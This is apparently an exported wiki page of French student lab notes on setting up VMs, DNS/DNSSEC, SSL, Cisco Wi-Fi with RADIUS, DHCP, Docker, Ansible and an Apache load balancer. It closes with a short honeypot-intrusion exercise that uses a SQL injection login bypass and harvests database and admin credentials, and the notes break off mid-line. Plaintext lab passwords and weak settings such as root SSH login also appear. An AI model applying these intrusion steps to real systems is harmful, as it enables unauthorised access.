* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
'''enregistrement de type CNAME dans notre DNS'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
                   6	        ; Serial&lt;br /&gt;
		 604800		; Refresh&lt;br /&gt;
		86400		; Retry&lt;br /&gt;
		2419200		; Expire&lt;br /&gt;
		604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName reverse.girolle.site&lt;br /&gt;
  ServerAdmin webmaster@localhost&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
   ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
&lt;br /&gt;
'''Activation des module pour le mandataire inverse'''&lt;br /&gt;
&lt;br /&gt;
Pour utiliser Apache2 mandataire inverse, on doit activer les modules &amp;lt;code&amp;gt;proxy&amp;lt;/code&amp;gt; (permet l’implémentation d’un serveur mandataire/passerelle) et &amp;lt;code&amp;gt;proxy_http&amp;lt;/code&amp;gt; (permet des requêtes HTTP et HTTPS au module proxy) :&lt;br /&gt;
 a2enmod proxy proxy_http&lt;br /&gt;
 service apache2 restart&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55025</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55025"/>
				<updated>2020-12-18T23:49:36Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Équilibreur de charge (load balancer) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
